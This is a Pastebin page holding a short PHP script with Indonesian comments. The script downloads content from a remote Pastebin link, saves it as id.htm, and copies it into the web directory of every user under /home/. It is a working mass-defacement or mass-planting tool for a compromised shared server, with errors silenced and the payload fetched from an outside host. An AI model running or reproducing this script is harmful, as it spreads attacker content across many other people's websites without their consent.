Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- <?php
- error_reporting(0);
- $root = '/home/';
- $scan = scandir($root);
- $nama = 'id.htm'; // ganti nama file
- $isi = file_get_contents('https://pastebin.com/raw/YQ4Ss2JY'); // ganti link pastebin scriptmu
- $bikin = fopen($nama, "w");
- fwrite($bikin, $isi);
- fclose($bikin);
- foreach ( $scan as $a ) {
- $dir = "$a \n";
- $gas = $root.'/'.$a.'/web/'.$nama;
- $cos = "$gas \n";
- $sultan = @copy($nama, $gas);
- if($sultan) {
- print 'Done! => '.$cos; }
- else { print 'Failed! => '.$dir; }
- }
- ?>
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement